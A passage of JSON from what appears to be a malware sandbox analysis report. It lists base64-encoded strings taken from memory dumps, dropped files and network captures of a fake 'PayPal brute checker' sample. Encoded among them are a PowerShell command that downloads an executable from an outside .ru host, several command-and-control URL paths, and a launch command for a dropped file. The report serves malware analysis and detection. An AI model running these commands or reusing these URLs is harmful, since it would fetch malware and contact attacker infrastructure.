Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"JXdpbmRpciVcU3lzdGVtMzJcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JlN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnNDb3Jl","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KD9SIG9yICg/WystXWRpZ2l0cyBtdXN0IGJlIGZvbGxvd2VkIGJ5ICk=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KGsvKVYoS1RE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"KHBsZWFzZSByZXBvcnQp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KUlkV2luc29jazI=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"KkRldmljZSBBc3NvY2lhdGlvbiBGcmFtZXdvcmsgUHJvdmlkZXIgSG9zdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"Kk5BdWRpby5SdWxlcy5FcnJvclN0dWIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"KyxAbFVAL0BUV2Uj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"K0RDUy5Db21wb3Nlci5Qb29sQ2xpZW50KzxHZXRFbnVtZXJhdG9yPmRfXzY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"K0RDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBZnRlclNlbGY+ZF9fNDI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5DbGFzc2VzLkJyb2FkY2FzdGVyUmVwb25zZSs8R2V0RG1vcz5kX18z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5Db21wb3Nlci5BZGFwdGVyU3R1Yis8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LERDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxCZWZvcmVTZWxmPmRfXzQz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$66","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LWVsIC1zMiAiLWQlcyIgIi1zcCVzIg==","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LUluZmluaXR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LWtlcm5lbDMyLXBhY2thZ2UtY3VycmVudC1sMS0xLTA=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LU5vRXhpdCAtSW1wb3J0U3lzdGVtTW9kdWxlcw==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LW9wZW4gJUFQUERBVEElXDEzMzdcUGF5UGFsIGJydXRlJmNoZWNrZXIuZXhl","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LXdpbi1jb3JlLWZpYmVycy1sMS0xLTE=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LXdpbi1ydGNvcmUtbnR1c2VyLXdpbmRvdy1sMS0xLTA=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LjEuNzYwMC4xNjM4NSAod2luN19ydG0uMDkwNzEzLTEyNTUp","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVl9jb21fZXJyb3JAQA==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1A000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hbGxvY0BzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9hcnJheV9uZXdfbGVuZ3RoQHN0ZEBA","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmJhZF9leGNlcHRpb25Ac3RkQEA=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVmV4Y2VwdGlvbkBzdGRAQA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Lj9BVnR5cGVfaW5mb0BA","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Llwlc1wlcy5tdWk=","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"LkRDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBbm5vdGF0aW9ucz5kX18xNjc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"LkRDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxHZXRBbmNlc3RvcnM+ZF9fNDE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Lk5BdWRpby5SdWxlcy5Qcm9jZXNzRXJyb3IrPEdldEVudW1lcmF0b3I+ZF9fNTc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"L0MgcG93ZXJzaGVsbCAtQ29tbWFuZCAiKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vc3FsbzRrYS5ydS9EQ1JTL2Rzb2NrLzkwY2M2ZTQ0N2QzNDViYjFmMTAzNzUxYWIwMzhiYmNlMTkxOTBkYjYuZXhlJywgJyVQVUJMSUMlXERvd25sb2FkLzkwY2M2ZTQ0N2QzNDViYjFmMTAzNzUxYWIwMzhiYmNlMTkxOTBkYjYuZXhlJyki","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0MlUFJPR1JBTUZJTEVTJVwoeDg2KS9BZG9iZS9BY3JvYmF0IFJlYWRlciBEQy9Fc2wvcmVnZWRpdC5leGU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuNTJmNjMyNWExZjRiNjY1ZWMzZGYwNjg5ZDZlYzM2MTA=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuY29tbQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuZTNlOWQ0OGU3OTIwNWE2ODc3Mzg2NWI5NTkxNGQyYTM=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svLzhlMTRmNTc2MzA5NjJjMzIyZTc0MzhhNTYwNGQ2NDVmYWJkOTBlMWUuZjcxZTY2ZDljMGE5ZmEzMzAxYjJmOGU0MDI0OTY3YmM=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$67","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$68","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$69","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$6a","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$6b","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$6c","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$6d","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"$6e","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvZHNvY2svOTBjYzZlNDQ3ZDM0NWJiMWYxMDM3NTFhYjAzOGJiY2UxOTE5MGRiNi5leGU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUlMvbWFpbi5waHA/ZGF0YT1hY3RpdmU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"L0RDUy5GaWx0ZXIuRmFjdG9yeU1hcEZpbHRlcis8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"L2RvZ3MvZGFzSG9zdC5leGU=","type":"Unicode","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"L05BdWRpby5SdWxlcy5QYWdlSXRlcmF0b3JSdWxlKzxnZXRfTWl4ZXJzPmRfXzE4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"L1BTQ29uc29sZUZpbGUvUFNWZXJzaW9uL3RleHQoKQ==","type":"Unicode","source":"Hybrid Analysis","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MC4wLjEuMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MDAwNjAxMDEuMDAwNjAxMDE=","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDE4LSB1bmV4cGVjdGVkIGhlYXAgZXJyb3I=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MDJkLSUwMmQtJTAyZC0lMDJkLSUwM2Q=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MERDUy5GaWx0ZXIuU3BlY2lmaWNhdGlvblN0dWIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MERDUy5MaXN0ZW5lcnMuQWR2aXNvckVycm9yKzxBbm5vdGF0aW9ucz5kX18xNjZgMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"ME5BdWRpby5RdWV1ZXMuUGFyYW1ldGVyU3R1Yis8RXhlY3V0ZUZpbHRlcj5kX18xMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MFN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnNBUEk=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItMjAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItMzAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItNDAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTEtMjIyMjItNTAwMDEtMDAwMDF9","type":"Unicode","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"MTI3LjAuMC4x","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"MTUuOS4wLjA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$6f","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":0,"total":67},{"value":"Mk5BdWRpby5TdHVicy5QYXJhbXNHbG9iYWxTdHViKzxHZXRJbnB1dFR5cGVzPmRfXzEx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Mk5vIGxvbmdlciBzdXBwb3J0ZWQuIFVzZSBBdmVyYWdlRnJhbWVSYXRlIGluc3RlYWQu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M0RDUy5SZWNvcmRzLkNvbnRleHRQb2xpY3lSZWNvcmQrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M01lbWJlckNvbnZlcnRlciBpcyBvYnNvbGV0ZS4gVXNlIENvbnZlcnRlciBpbnN0ZWFkLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"M05BdWRpby5TdHVicy5QYXJhbXNHbG9iYWxTdHViKzxHZXRPdXRwdXRUeXBlcz5kX18xMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NEJpbmRlciBpcyBvYnNvbGV0ZS4gVXNlIFNlcmlhbGl6YXRpb25CaW5kZXIgaW5zdGVhZC4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NERDUy5SZWNvcmRzLkV4Y2VwdGlvblBvbGljeVJlY29yZCs8Z2V0X1NvdXJjZXM+ZF9fMzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NFdpbmFwaS5SZWdTdHI=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NS4yNTUuMjU1LjI1NQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"NURDUy5EYXRhYmFzZS5DdXN0b21lclJlcXVlc3RFbnRyeSs8RXhlY3V0ZUZpbHRlcj5kX180","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NU5BdWRpby5SdWxlcy5QYWdlSXRlcmF0b3JSdWxlKzxnZXRfRGVzdGluYXRpb25zPmRfXzE2","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"NkRDUy5Db21wb3Nlci5JbnRlcmNlcHRvckZpbHRlckNvbXArPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"N0NhbGwgdGhlIHZlcnNpb24gcmV0dXJuaW5nIHNvdXJjZUJ5dGVzQ29udmVydGVkIGluc3RlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"OTBjYzZlNDQ3ZDM0NWJiMWYxMDM3NTFhYjAzOGJiY2UxOTE5MGRiNi5leGU=","type":"Unicode","source":"Runtime Data","process":"loader.bat","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"OWs6dW9PNQ==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"Oi9EPyE5LW4/LQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"PD4zX19lcnJvcldoZW5Ob01hdGNo","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$70","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4gIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgPC9zZWN1cml0eT4gIDwvdHJ1c3RJbmZvPjwvYXNzZW1ibHk+","type":"Ansi","source":"Memory/File Scan","process":"loader.bat","filename":"00099794-00004056.00000001.100319.01194000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$71","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"$72","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00844000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$73","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$74","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$75","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PERDUy5MaWNlbnNpbmcuSW52b2NhdGlvblNlcnZpY2VMaWNlbnNlKzxHZXREZXNjZW5kYW50cz5kX18xOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PERDUy5NYXBwZXJzLlByb2R1Y2VyU2NoZW1hTWFwcGVyK0NvZGVUYWcrPEdldEVudW1lcmF0b3I+ZF9fMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEV4ZWN1dGVGaWx0ZXI+ZF9fMTI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9EZXN0aW5hdGlvbnM+ZF9fMTY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9NaXhlcnM+ZF9fMTg=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGdldF9Tb3VyY2VzPmRfXzMy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEFuY2VzdG9ycz5kX180MQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldERlc2NlbmRhbnRzPmRfXzE4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldERtb3M+ZF9fMw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fMQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fNTc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldEVudW1lcmF0b3I+ZF9fNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldElucHV0VHlwZXM+ZF9fMTE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PEdldE91dHB1dFR5cGVzPmRfXzEy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$76","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$77","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$78","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PE1vZHVsZT57MTFGRTU4MkYtQTk0NS00OTk0LTk3QjgtNkJERTgwODY3QTBCfQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PE5BdWRpby5Db25zdW1lcnMuU2NoZW1hUGFyYW1ldGVyQ29uc3VtZXIrPEV4ZWN1dGVGaWx0ZXI+ZF9fNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHBpLW1zLXdpbi1jb3JlLWZpbGUtbDItMS0x","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"PFByaXZhdGVJbXBsZW1lbnRhdGlvbkRldGFpbHM+ezUzMTZCNDlGLTBFOEMtNDcxQy05MzBDLTAyRDM1OUQ4NzNCRX0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$79","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"PHN0eWxlPmJvZHl7Zm9udC1mYW1pbHk6IkFyaWFsIjtmb250LXNpemU6MTI7fTwvc3R5bGU+","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$7a","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Pj4+QVVUT0lUIE5PIENNREVYRUNVVEU8PDw=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"PlNdXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1d","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"PlNdXWFdYWFhXV1dXV1dYWBgYF9fX19SX1JfVV0+","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"$7b","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVQUVAWFo=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Pz8xdHlwZV9pbmZvQEBVRUFBQFha","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"P0RDUy5MaWNlbnNpbmcuUHJvY2Nlc29yU2VydmljZUxpY2Vuc2UrPEVudW1lcmF0ZVRyYW5zZm9ybXM+ZF9fMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QDolaFxcU29rOw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QF05KFwhUEU=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D1B000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QENPTV9FVkVOVE9CSg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal 